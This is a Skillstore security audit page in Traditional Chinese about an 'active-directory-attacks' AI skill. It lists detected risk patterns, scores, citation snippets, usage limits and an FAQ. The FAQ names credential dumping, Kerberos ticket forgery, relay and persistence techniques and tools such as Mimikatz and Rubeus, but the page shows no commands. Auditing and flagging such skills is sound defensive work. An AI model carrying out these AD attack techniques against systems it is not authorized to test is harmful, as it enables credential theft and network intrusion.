references/advanced-attacks.md:233 references/advanced-attacks.md:296 SKILL.md:268 SKILL.md:59 SKILL.md:83 SKILL.md:119 SKILL.md:122 SKILL.md:131 SKILL.md:137 SKILL.md:149 SKILL.md:164 SKILL.md:203 SKILL.md:204 SKILL.md:205 SKILL.md:208 SKILL.md:209 SKILL.md:245 SKILL.md:256 SKILL.md:262 SKILL.md:279 SKILL.md:282 SKILL.md:285 SKILL.md:288 SKILL.md:295 SKILL.md:298 SKILL.md:305 SKILL.md:348 SKILL.md:351 SKILL.md:357 SKILL.md:367
偵測到的模式
Malware type keywords×5Windows registry accessWeak cryptographic algorithm×5Secure file deletionSystem reconnaissance×4Network reconnaissance×7Network scanning tools
審計單位: codex 檢視審計紀錄 →
分享與引用此報告
分享版本化評估報告、中性徽章、嵌入卡片與引用。Skillstore 只報告證據，不判斷該 Skill 是否安全。
複製報告連結
https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-active-directory-attacks/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-active-directory-attacks.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>學術引用 (APA · BibTeX · CFF)
APA 引用
zebbern. (2026). active-directory-attacks security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6BibTeX 引用
@techreport{zebbern-sickn33-active-directory-attacks-2026,
author = {zebbern},
title = {active-directory-attacks security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "active-directory-attacks security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-active-directory-attacks:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore 評分
評分依據 證據置信度: 中 41
架構
85
可維護性
87
內容
70
社群
91
規範符合度
你可以打造什麼
規劃授權 AD 評估
建立一份具範圍界定的檢查清單，涵蓋偵察、憑證審查、Kerberos 測試和報告。
驗證實驗室攻擊路徑
將實驗室發現與已知 AD 濫用路徑和票證攻擊類別進行比較。
教授 AD 攻擊概念
在課堂實驗室中使用此參考資料，說明常見 AD 弱點和必要安全控制。
試試這些提示
審查安全範圍
針對我的授權 Active Directory 實驗室，在使用此技能之前，摘要說明先決條件、安全限制和文件記錄步驟。
建立偵察檢查清單
為已核准的 Active Directory 評估建立一份具範圍界定的偵察檢查清單，且僅使用非破壞性的探索步驟。
比較攻擊類別
針對受控測試環境，比較此技能中的憑證、Kerberos、relay 和 AD CS 攻擊類別。
建立評估計畫
建立一份授權 Active Directory 攻擊路徑評估計畫，包含目標、證據處理、復原控制和報告章節。
最佳實務
- 僅在具備書面授權、明確範圍和核准測試時段的情況下使用。
- 學習會變更驗證、票證、憑證或 AD 物件的技術時，優先使用隔離實驗室。
- 針對每一條測試路徑記錄證據、受影響帳戶、復原動作和清理狀態。
避免
- 請勿對核准範圍以外的系統執行此技能中的命令。
- 若沒有帳戶鎖定和影響控制，請勿執行密碼 spraying、憑證傾印或 relay 測試。
- 測試後請勿留下票證、憑證、帳戶、排程工作或原則變更。
常見問題
此技能是防禦性還是攻擊性的？
這是供授權紅隊和實驗室使用的攻擊性 Active Directory 評估參考資料。
此技能會自動執行攻擊嗎？
否。它是 Markdown 參考資料，但其中包含使用者可手動執行的命令。
我可以在生產網路上使用它嗎？
僅在具備書面授權、核准範圍和已記錄安全控制的情況下使用。
它參考了哪些工具？
它參考了 Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec、PowerView 和 Certipy 等工具。
它是否包含防禦性修復？
它包含有限的限制和疑難排解內容，但不是強化或偵測指南。
為什麼此技能需要 marketplace 審查？
此技能包含詳細的憑證竊取、票證偽造、relay、exploit 和 persistence 工作流程。
開發者詳細資訊
作者
zebbern授權
MIT
Skillstore 修訂
r1
版本提示
作者未聲明版本。
引用
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
維護新鮮度
2026/7/18
使用量
6 次下載 · 199 次瀏覽
檔案結構